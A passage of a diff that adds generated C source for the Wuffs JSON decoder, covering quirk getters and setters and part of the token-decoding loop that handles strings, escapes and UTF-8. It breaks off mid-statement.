-+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_json__decoder__get_quirk( -+ const wuffs_json__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ uint32_t v_key = 0; -+ -+ if (a_key >= 1225364480u) { -+ v_key = (a_key - 1225364480u); -+ if (v_key < 21u) { -+ if (self->private_impl.f_quirks[v_key]) { -+ return 1u; -+ } -+ } -+ } -+ return 0u; -+} -+ -+// -------- func json.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_json__decoder__set_quirk( -+ wuffs_json__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (a_key >= 1225364480u) { -+ a_key -= 1225364480u; -+ if (a_key < 21u) { -+ self->private_impl.f_quirks[a_key] = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func json.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_json__decoder__workbuf_len( -+ const wuffs_json__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__empty_range_ii_u64(); -+} -+ -+// -------- func json.decoder.decode_tokens -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_json__decoder__decode_tokens( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_vminor = 0; -+ uint32_t v_number_length = 0; -+ uint32_t v_number_status = 0; -+ uint32_t v_string_length = 0; -+ uint32_t v_whitespace_length = 0; -+ uint32_t v_depth = 0; -+ uint32_t v_stack_byte = 0; -+ uint32_t v_stack_bit = 0; -+ uint32_t v_match = 0; -+ uint32_t v_c32 = 0; -+ uint8_t v_c8 = 0; -+ uint8_t v_backslash = 0; -+ uint8_t v_char = 0; -+ uint8_t v_class = 0; -+ uint32_t v_multi_byte_utf8 = 0; -+ uint8_t v_backslash_x_ok = 0; -+ uint8_t v_backslash_x_value = 0; -+ uint32_t v_backslash_x_string = 0; -+ uint8_t v_uni4_ok = 0; -+ uint64_t v_uni4_string = 0; -+ uint32_t v_uni4_value = 0; -+ uint32_t v_uni4_high_surrogate = 0; -+ uint8_t v_uni8_ok = 0; -+ uint64_t v_uni8_string = 0; -+ uint32_t v_uni8_value = 0; -+ uint32_t v_expect = 0; -+ uint32_t v_expect_after_value = 0; -+ -+ wuffs_base__token* iop_a_dst = NULL; -+ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_tokens; -+ if (coro_susp_point) { -+ v_depth = self->private_data.s_decode_tokens.v_depth; -+ v_expect = self->private_data.s_decode_tokens.v_expect; -+ v_expect_after_value = self->private_data.s_decode_tokens.v_expect_after_value; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_end_of_data) { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (self->private_impl.f_quirks[18u]) { -+ if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u] || self->private_impl.f_quirks[17u]) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_quirk_combination); -+ goto exit; -+ } -+ } -+ if (self->private_impl.f_quirks[15u] || self->private_impl.f_quirks[16u]) { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_json__decoder__decode_leading(self, a_dst, a_src); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ v_expect = 7858u; -+ label__outer__continue:; -+ while (true) { -+ while (true) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ goto label__outer__continue; -+ } -+ v_whitespace_length = 0u; -+ v_c8 = 0u; -+ v_class = 0u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (v_whitespace_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_whitespace_length = 0u; -+ } -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ goto label__outer__continue; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ v_class = WUFFS_JSON__LUT_CLASSES[v_c8]; -+ if (v_class != 0u) { -+ break; -+ } -+ iop_a_src += 1u; -+ if (v_whitespace_length >= 65534u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(65535u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_whitespace_length = 0u; -+ goto label__outer__continue; -+ } -+ v_whitespace_length += 1u; -+ } -+ if (v_whitespace_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_whitespace_length = 0u; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ goto label__outer__continue; -+ } -+ } -+ if (0u == (v_expect & (((uint32_t)(1u)) << v_class))) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ if (v_class == 1u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 1u; -+ label__string_loop_outer__continue:; -+ while (true) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ continue; -+ } -+ v_string_length = 0u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (v_string_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ } -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ goto label__string_loop_outer__continue; -+ } -+ while (((uint64_t)(io2_a_src - iop_a_src)) > 4u) { -+ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ if (0u != (WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 0u))] | -+ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 8u))] | -+ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 16u))] | -+ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 24u))])) { -+ break; -+ } -+ iop_a_src += 4u; -+ if (v_string_length > 65527u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ goto label__string_loop_outer__continue; -+ } -+ v_string_length += 4u; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ v_char = WUFFS_JSON__LUT_CHARS[v_c8]; -+ if (v_char == 0u) { -+ iop_a_src += 1u; -+ if (v_string_length >= 65531u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(65532u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ goto label__string_loop_outer__continue; -+ } -+ v_string_length += 1u; -+ continue; -+ } else if (v_char == 1u) { -+ if (v_string_length != 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ } -+ goto label__string_loop_outer__break; -+ } else if (v_char == 2u) { -+ if (v_string_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ goto label__string_loop_outer__continue; -+ } -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ goto label__string_loop_outer__continue; -+ } -+ v_c8 = ((uint8_t)(((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)))); -+ v_backslash = WUFFS_JSON__LUT_BACKSLASHES[v_c8]; -+ if (((uint8_t)(v_backslash & 128u)) != 0u) { -+ iop_a_src += 2u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | ((uint32_t)(((uint8_t)(v_backslash & 127u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } else if (v_backslash != 0u) { -+ if (self->private_impl.f_quirks[WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[((uint8_t)(v_backslash & 7u))]]) { -+ iop_a_src += 2u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | ((uint32_t)(WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[((uint8_t)(v_backslash & 7u))]))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } -+ } else if (v_c8 == 117u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -+ goto label__string_loop_outer__continue; -+ } -+ v_uni4_string = (((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))) >> 16u); -+ v_uni4_value = 0u; -+ v_uni4_ok = 128u; -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); -+ if (v_uni4_ok == 0u) { -+ } else if ((v_uni4_value < 55296u) || (57343u < v_uni4_value)) { -+ iop_a_src += 6u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } else if (v_uni4_value >= 56320u) { -+ } else { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 12u) { -+ if (a_src && a_src->meta.closed) { -+ if (self->private_impl.f_quirks[20u]) { -+ iop_a_src += 6u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -+ goto label__string_loop_outer__continue; -+ } -+ v_uni4_string = (wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 4u) >> 16u); -+ if (((255u & (v_uni4_string >> 0u)) != 92u) || ((255u & (v_uni4_string >> 8u)) != 117u)) { -+ v_uni4_high_surrogate = 0u; -+ v_uni4_value = 0u; -+ v_uni4_ok = 0u; -+ } else { -+ v_uni4_high_surrogate = (65536u + ((v_uni4_value - 55296u) << 10u)); -+ v_uni4_value = 0u; -+ v_uni4_ok = 128u; -+ v_uni4_string >>= 16u; -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; -+ v_uni4_ok &= v_c8; -+ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); -+ } -+ if ((v_uni4_ok != 0u) && (56320u <= v_uni4_value) && (v_uni4_value <= 57343u)) { -+ v_uni4_value -= 56320u; -+ iop_a_src += 12u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | v_uni4_high_surrogate | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(12u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } -+ } -+ if (self->private_impl.f_quirks[20u]) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { -+ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ iop_a_src += 6u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } -+ } else if ((v_c8 == 85u) && self->private_impl.f_quirks[2u]) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 10u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -+ goto label__string_loop_outer__continue; -+ } -+ v_uni8_string = wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 2u); -+ v_uni8_value = 0u; -+ v_uni8_ok = 128u; -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 0u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 28u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 8u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 24u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 16u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 20u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 24u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 16u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 32u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 40u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 48u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 56u))]; -+ v_uni8_ok &= v_c8; -+ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); -+ if (v_uni8_ok == 0u) { -+ } else if ((v_uni8_value < 55296u) || ((57343u < v_uni8_value) && (v_uni8_value <= 1114111u))) { -+ iop_a_src += 10u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | (v_uni8_value & 2097151u)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } else if (self->private_impl.f_quirks[20u]) { -+ iop_a_src += 10u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } -+ } else if ((v_c8 == 120u) && self->private_impl.f_quirks[9u]) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -+ goto label__string_loop_outer__continue; -+ } -+ v_backslash_x_string = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ v_backslash_x_ok = 128u; -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 16u))]; -+ v_backslash_x_ok &= v_c8; -+ v_backslash_x_value = ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 & 15u)) << 4u)))); -+ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 24u))]; -+ v_backslash_x_ok &= v_c8; -+ v_backslash_x_value = ((uint8_t)(((uint8_t)(v_backslash_x_value | ((uint8_t)(v_c8 & 15u)))))); -+ if ((v_backslash_x_ok == 0u) || ((v_backslash_x_string & 65535u) != 30812u)) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } -+ iop_a_src += 4u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | ((uint32_t)(v_backslash_x_value))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__string_loop_outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -+ goto exit; -+ } else if (v_char == 3u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -+ if (v_string_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ goto label__string_loop_outer__continue; -+ } -+ } -+ if (a_src && a_src->meta.closed) { -+ if (self->private_impl.f_quirks[20u]) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 1u; -+ goto label__string_loop_outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -+ goto label__string_loop_outer__continue; -+ } -+ v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ if ((v_multi_byte_utf8 & 49152u) == 32768u) { -+ v_multi_byte_utf8 = ((1984u & ((uint32_t)(v_multi_byte_utf8 << 6u))) | (63u & (v_multi_byte_utf8 >> 8u))); -+ iop_a_src += 2u; -+ if (v_string_length >= 65528u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)((v_string_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ goto label__string_loop_outer__continue; -+ } -+ v_string_length += 2u; -+ continue; -+ } -+ } else if (v_char == 4u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { -+ if (v_string_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ goto label__string_loop_outer__continue; -+ } -+ } -+ if (a_src && a_src->meta.closed) { -+ if (self->private_impl.f_quirks[20u]) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ 